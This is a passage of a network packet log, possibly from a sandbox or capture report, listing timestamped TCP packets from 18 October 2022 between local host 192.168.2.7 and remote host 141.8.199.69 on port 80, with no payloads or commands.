Oct 18, 2022 13:28:10.989171028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989166975 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.989198923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989227057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:10.989285946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:10.989334106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050530910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050579071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050609112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050616026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050636053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050663948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050690889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050718069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050723076 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050724030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050724030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050724030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050745010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050771952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050798893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050802946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050802946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050802946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050836086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050841093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050864935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050903082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050903082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050921917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050950050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050962925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.050977945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.050992012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051006079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.051019907 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051033974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.051045895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051062107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.051069975 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051095963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.051099062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051125050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.051126003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051265001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.051265001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.111701012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111748934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111787081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111816883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111845970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111866951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.111877918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111911058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.111911058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.111932039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111943007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.111968994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.111982107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112010956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112020016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112040043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112060070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112068892 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112090111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112098932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112118006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112128973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112145901 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112159014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112179041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112186909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112205029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112215996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112235069 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112245083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112265110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112267971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112293005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112298012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112328053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112332106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112355947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112356901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112380981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112386942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112407923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112415075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112433910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112443924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112462997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112473011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112490892 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112503052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112521887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112534046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112550020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112562895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112581968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112592936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112613916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112623930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112643957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112653017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112672091 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112682104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112701893 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112713099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.112730980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.112761974 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173165083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173204899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173232079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173270941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173285007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173299074 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173321962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173326015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173348904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173352957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173378944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173387051 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173404932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173413992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173430920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173448086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173458099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173482895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173484087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173507929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173516989 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173538923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173542023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173563004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173571110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173589945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173595905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173623085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173623085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173645973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173650026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173671961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173674107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173696995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173703909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173722982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173736095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173753977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173760891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173783064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173784971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173809052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173810959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173835039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173836946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173860073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173862934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173890114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173902035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173913002 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173929930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173948050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173954010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.173979998 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.173990965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.174002886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.174015999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.174036980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.174041033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.174066067 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.174066067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.174088955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.174092054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.174113035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.174139977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.234739065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.234808922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.234858036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.234905958 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.234932899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.234955072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.234982014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.234997034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235023022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235032082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235064983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235069036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235105991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235116005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235151052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235161066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235200882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235207081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235243082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235249043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235282898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235286951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235323906 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235327959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235363007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235369921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235404015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235409021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235447884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235450029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235487938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235492945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235529900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235531092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235570908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235573053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235611916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235616922 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235651970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235656977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235692978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235698938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235734940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235737085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235778093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235780001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235817909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235824108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235858917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235862017 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235901117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235907078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235944986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235945940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.235985994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.235989094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236027002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236031055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236068010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236072063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236110926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236113071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236150980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236155987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236191034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236193895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236234903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.236236095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.236279964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.296776056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.296832085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.296870947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.296878099 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.296907902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.296926975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.296941996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.296976089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.296981096 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297015905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297024012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297060013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297060966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297106028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297107935 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297147036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297151089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297189951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297194958 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297231913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297266006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297276020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297288895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297322035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297322989 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297363997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297364950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297409058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297419071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297454119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297457933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297497034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297501087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297538996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297548056 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297583103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297586918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297624111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297631979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297663927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297666073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297704935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297708988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297748089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297750950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297791004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297797918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297832012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297837019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297873974 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297874928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297918081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.297920942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297960997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.297961950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298002005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298003912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298043966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298047066 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298094034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298106909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298156977 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298158884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298199892 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298206091 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298243999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298249006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298288107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.298290968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.298337936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.358793020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.358855963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.358932018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.358978987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359000921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359000921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359000921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359020948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359051943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359065056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359071970 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359108925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359153032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359179974 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359180927 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359198093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359220982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359240055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359251976 CEST	49701	80	192.168.2.7	141.8.199.69
